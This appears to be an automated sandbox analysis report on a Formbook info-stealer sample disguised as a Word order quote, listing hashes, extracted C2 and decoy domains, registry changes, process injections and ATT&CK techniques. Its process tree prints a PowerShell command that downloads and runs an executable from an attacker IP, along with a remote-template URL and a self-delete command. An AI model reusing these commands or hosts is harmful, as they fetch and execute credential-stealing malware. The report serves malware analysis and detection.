formbook | 7c41d53d6dd4f2979bfcdea462feef025b2f31cf55644f927ece5f4699a1b7a9

Analysis

max time kernel
156s
max time network
149s
platform
windows7_x64
resource
win7-en-20210920
submitted
22-09-2021 19:04

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General

Target

ORDER QUOTE.docx
Size

10KB
MD5

eee70c12ab889fd6173de81fbc9a6817
SHA1

673a841da220e5ba72e5f30d1d566569595ed352
SHA256

7c41d53d6dd4f2979bfcdea462feef025b2f31cf55644f927ece5f4699a1b7a9
SHA512

7647f0d5adcd468a6cbae4900ecb2887de0a0f89ba25893379f905f04b7b9ee0fa89af755c8cb1db8e4d613f11a8f9f80334de3e784677d1fac1ad51cc9db8d7

Score

10^/10

formbook m8g0 rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://198.46.199.161/joo/vbc.exe

Extracted

Family

formbook

Version

4.1

Campaign

m8g0

http://www.psicologarenatacruz.com/m8g0/

Decoy

trypapaya.pro

instructorcornernet.com

techadvisorsfl.com

raunnan.com

filestune.com

learnitanywhereskills.com

beaullife.com

getcovidwear.com

tkrbeautyinstitut.com

lisaphamkhai.com

iconicdds.com

ksoopawlas.com

testosteron.store

jctaketwo.com

awexz.online

onlinening.com

steelwerkschicago.com

lukakordic.com

expertsofcoaching.com

dashcca.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Formbook Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1548-92-0x000000000041F1B0-mapping.dmp	formbook
behavioral1/memory/1548-91-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/828-99-0x0000000000080000-0x00000000000AF000-memory.dmp	formbook

Blocklisted process makes network request 2 IoCs

Processes:

EQNEDT32.EXEpowershell.exe

flow pid process

11 524 EQNEDT32.EXE
12 1532 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

regasm.exevbc.exevbc.exe

pid process

784 regasm.exe
1352 vbc.exe
1548 vbc.exe

flow	pid	process
11	524	EQNEDT32.EXE
12	1532	powershell.exe

pid	process
784	regasm.exe
1352	vbc.exe
1548	vbc.exe

Abuses OpenXML format to download file from external location 2 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Office\Common\Offline\Files\http://cml.lol/olxqqy	WINWORD.EXE

Loads dropped DLL 4 IoCs

Processes:

EQNEDT32.EXEpowershell.exevbc.exe

pid process

524 EQNEDT32.EXE
524 EQNEDT32.EXE
2008 powershell.exe
1352 vbc.exe
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

pid	process
524	EQNEDT32.EXE
524	EQNEDT32.EXE
2008	powershell.exe
1352	vbc.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

vbc.exevbc.exehelp.exe

description	pid	process	target process
PID 1352 set thread context of 1548	1352	vbc.exe	vbc.exe
PID 1548 set thread context of 1204	1548	vbc.exe	Explorer.EXE
PID 828 set thread context of 1204	828	help.exe	Explorer.EXE

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

524 EQNEDT32.EXE

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
524	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1640 WINWORD.EXE

pid	process
1640	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exevbc.exehelp.exe

pid	process
1532	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
1548	vbc.exe
1548	vbc.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe
828	help.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

1204 Explorer.EXE
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

vbc.exehelp.exe

pid process

1548 vbc.exe
1548 vbc.exe
1548 vbc.exe
828 help.exe
828 help.exe

pid	process
1204	Explorer.EXE

pid	process
1548	vbc.exe
1548	vbc.exe
1548	vbc.exe
828	help.exe
828	help.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exepowershell.exevbc.exehelp.exeExplorer.EXEWINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	2008	powershell.exe
Token: SeDebugPrivilege	1548	vbc.exe
Token: SeDebugPrivilege	828	help.exe
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeShutdownPrivilege	1640	WINWORD.EXE
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeShutdownPrivilege	1204	Explorer.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

Explorer.EXE

pid process

1204 Explorer.EXE
1204 Explorer.EXE
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

Explorer.EXE

pid process

1204 Explorer.EXE
1204 Explorer.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1640 WINWORD.EXE
1640 WINWORD.EXE

pid	process
1204	Explorer.EXE
1204	Explorer.EXE

pid	process
1204	Explorer.EXE
1204	Explorer.EXE

pid	process
1640	WINWORD.EXE
1640	WINWORD.EXE

Suspicious use of WriteProcessMemory 39 IoCs

Processes:

EQNEDT32.EXEWINWORD.EXEregasm.execmd.exepowershell.exevbc.exeExplorer.EXEhelp.exe

description	pid	process	target process
PID 524 wrote to memory of 784	524	EQNEDT32.EXE	regasm.exe
PID 524 wrote to memory of 784	524	EQNEDT32.EXE	regasm.exe
PID 524 wrote to memory of 784	524	EQNEDT32.EXE	regasm.exe
PID 524 wrote to memory of 784	524	EQNEDT32.EXE	regasm.exe
PID 1640 wrote to memory of 1796	1640	WINWORD.EXE	splwow64.exe
PID 1640 wrote to memory of 1796	1640	WINWORD.EXE	splwow64.exe
PID 1640 wrote to memory of 1796	1640	WINWORD.EXE	splwow64.exe
PID 1640 wrote to memory of 1796	1640	WINWORD.EXE	splwow64.exe
PID 784 wrote to memory of 556	784	regasm.exe	cmd.exe
PID 784 wrote to memory of 556	784	regasm.exe	cmd.exe
PID 784 wrote to memory of 556	784	regasm.exe	cmd.exe
PID 784 wrote to memory of 556	784	regasm.exe	cmd.exe
PID 556 wrote to memory of 1532	556	cmd.exe	powershell.exe
PID 556 wrote to memory of 1532	556	cmd.exe	powershell.exe
PID 556 wrote to memory of 1532	556	cmd.exe	powershell.exe
PID 556 wrote to memory of 1532	556	cmd.exe	powershell.exe
PID 556 wrote to memory of 2008	556	cmd.exe	powershell.exe
PID 556 wrote to memory of 2008	556	cmd.exe	powershell.exe
PID 556 wrote to memory of 2008	556	cmd.exe	powershell.exe
PID 556 wrote to memory of 2008	556	cmd.exe	powershell.exe
PID 2008 wrote to memory of 1352	2008	powershell.exe	vbc.exe
PID 2008 wrote to memory of 1352	2008	powershell.exe	vbc.exe
PID 2008 wrote to memory of 1352	2008	powershell.exe	vbc.exe
PID 2008 wrote to memory of 1352	2008	powershell.exe	vbc.exe
PID 1352 wrote to memory of 1548	1352	vbc.exe	vbc.exe
PID 1352 wrote to memory of 1548	1352	vbc.exe	vbc.exe
PID 1352 wrote to memory of 1548	1352	vbc.exe	vbc.exe
PID 1352 wrote to memory of 1548	1352	vbc.exe	vbc.exe
PID 1352 wrote to memory of 1548	1352	vbc.exe	vbc.exe
PID 1352 wrote to memory of 1548	1352	vbc.exe	vbc.exe
PID 1352 wrote to memory of 1548	1352	vbc.exe	vbc.exe
PID 1204 wrote to memory of 828	1204	Explorer.EXE	help.exe
PID 1204 wrote to memory of 828	1204	Explorer.EXE	help.exe
PID 1204 wrote to memory of 828	1204	Explorer.EXE	help.exe
PID 1204 wrote to memory of 828	1204	Explorer.EXE	help.exe
PID 828 wrote to memory of 1564	828	help.exe	cmd.exe
PID 828 wrote to memory of 1564	828	help.exe	cmd.exe
PID 828 wrote to memory of 1564	828	help.exe	cmd.exe
PID 828 wrote to memory of 1564	828	help.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1204

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ORDER QUOTE.docx"
2⤵
- Abuses OpenXML format to download file from external location
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1640

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
3⤵
PID:1796

C:\Windows\SysWOW64\help.exe
"C:\Windows\SysWOW64\help.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:828

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Local\Temp\vbc.exe"
3⤵
PID:1564

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:524

C:\Users\Public\regasm.exe
"C:\Users\Public\regasm.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:784

C:\Windows\SysWOW64\cmd.exe
cmd /c powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')" & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:556

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))"
4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')"
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2008

C:\Users\Admin\AppData\Local\Temp\vbc.exe
"C:\Users\Admin\AppData\Local\Temp\vbc.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1352

C:\Users\Admin\AppData\Local\Temp\vbc.exe
"C:\Users\Admin\AppData\Local\Temp\vbc.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:1548

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Scripting

T1064

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\vbc.exe
MD5
3dac10541270990e15c8742b0cd6f153

SHA1
ed5c87e500c51e055ddb9160929a3dac51d3a393

SHA256
744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

SHA512
